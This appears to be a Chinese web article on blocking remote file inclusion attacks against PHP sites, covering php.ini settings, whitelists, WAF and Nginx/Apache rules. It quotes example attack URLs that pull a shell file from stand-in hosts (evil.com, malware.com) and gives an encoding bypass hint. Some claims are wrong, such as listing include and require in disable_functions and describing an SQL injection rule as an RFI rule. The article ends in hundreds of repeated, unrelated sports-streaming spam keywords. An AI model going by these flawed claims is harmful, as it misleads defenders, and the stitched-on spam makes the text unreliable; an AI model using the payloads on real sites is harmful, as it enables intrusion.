本文目录导读:

针对远程文件包含(RFI)攻击的拦截,核心思路是阻止服务器从外部 URL 获取并执行文件,以下是几个层面的拦截和防御措施:
应用层配置(最根本的防御)
这是控制 RFI 的关键,因为 RFI 通常通过 PHP 等语言的函数实现。
-
禁用
allow_url_include:- 在 PHP 中,这是 RFI 的开关。务必在
php.ini或服务器配置中将其设为Off。 - 配置:
allow_url_include = Off - 建议也将
allow_url_fopen设为Off或仅限白名单使用,因为它是 RFI 的辅助条件。
- 在 PHP 中,这是 RFI 的开关。务必在
-
严格过滤用户输入:
- 不要直接使用
$_GET、$_POST等参数作为文件路径。include($_GET['page']);是典型的高危写法。 - 白名单机制:只允许包含预定义的、安全的文件列表。
// 只允许从数组中选择文件 $whitelist = ['home.php', 'about.php', 'contact.php']; $page = $_GET['page']; if (in_array($page, $whitelist)) { include($page); } else { // 错误处理 } - 清理路径:如果必须使用动态路径,过滤掉
http://、https://、ftp://等协议标识符,以及 等目录遍历符号,使用basename()、realpath()等函数处理。
- 不要直接使用
-
禁用危险函数:
- 在
php.ini的disable_functions中列出include、include_once、require、require_once、fopen、file_get_contents、curl_exec等函数,除非绝对必要。
- 在
Web 服务器配置(WAF 与规则)
在 Nginx 或 Apache 层面进行拦截。
-
配置 Web 应用防火墙(WAF):
- ModSecurity:最常用的开源 WAF,配合 OWASP 核心规则集(CRS),它会拦截包含
http://、https://、ftp://等模式的参数请求,规则942100专门检测 SQL 注入和 RFI。 - Cloudflare WAF:开启后自动拦截常见的 RFI 尝试(如
?page=http://evil.com/shell.txt?)。 - AWS WAF / Azure WAF:云平台内置的 WAF 一般都有对应的规则。
- ModSecurity:最常用的开源 WAF,配合 OWASP 核心规则集(CRS),它会拦截包含
-
Nginx
if限制:- 在
server或location块中添加条件,拒绝包含特定模式的请求参数:if ($args ~* "http://|https://|ftp://") { return 403; }
- 在
-
Apache
mod_rewrite:- 在
.htaccess或虚拟主机配置中:RewriteCond %{QUERY_STRING} (http|https|ftp):// [NC] RewriteRule ^ - [F,L]
- 在
服务器系统级防御
- 禁用危险 PHP 组件:确保
php.ini中未启用curl、ftp等扩展,或在使用时严格限制。 - 设置
open_basedir:在php.ini中限制 PHP 访问的文件路径范围,防止跨目录攻击,但注意,open_basedir无法阻止 RFI(因为 RFI 通过 URL 访问,不涉及本地路径),需结合其他措施。 - 使用 SELinux/AppArmor:对 Web 服务进程(如
httpd、php-fpm)实施强制访问控制,阻止其向外部发起 HTTP 请求。
输入验证与输出编码
- 检查
$_SERVER['HTTP_REFERER']:验证请求来源,但不可靠(可伪造),不建议作为唯一防御。 - 检查
$_SERVER['QUERY_STRING']:对查询字符串进行正则匹配,过滤http、ftp等协议。if (preg_match('/^https?:\/\//', $_GET['file'])) { die(); }
最佳实践总结
- 优先使用白名单:完全避免动态包含,若必须,使用预定义数组。
- 关键配置:
allow_url_include = Off(必须)、allow_url_fopen = Off(建议)。 - 启用 WAF:无论是 ModSecurity 还是云 WAF,都能有效拦截 90% 以上的扫描。
- 输入验证:不要相信任何用户输入,过滤
http://、 等危险字符。 - 日志监控:定期检查 Web 服务器日志,留意包含
http://的请求参数,以及 403/500 错误,及时发现攻击尝试。
实际拦截效果示例
假设攻击请求:http://yoursite.com/index.php?page=http://malware.com/shell.txt
-
生效的拦截:
- PHP 侧:
allow_url_include = Off导致include()直接失败(返回空或错误)。 - WAF 侧:ModSecurity/Cloudflare 检测到参数中有
http://,直接返回 403 或 406(不可接受)。 - 服务器侧:Nginx 的
if规则匹配,返回 403。
- PHP 侧:
-
失效的情况:
- PHP 侧:
allow_url_include = On且未过滤任何输入。 - WAF 侧:规则未启用或定制规则绕过(如使用
%68ttp://编码)。
- PHP 侧:
核心建议:不要依赖单一防御层,将 PHP 配置禁用 RFI 作为底线,再结合 WAF 规则 和 输入白名单,形成纵深防御。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播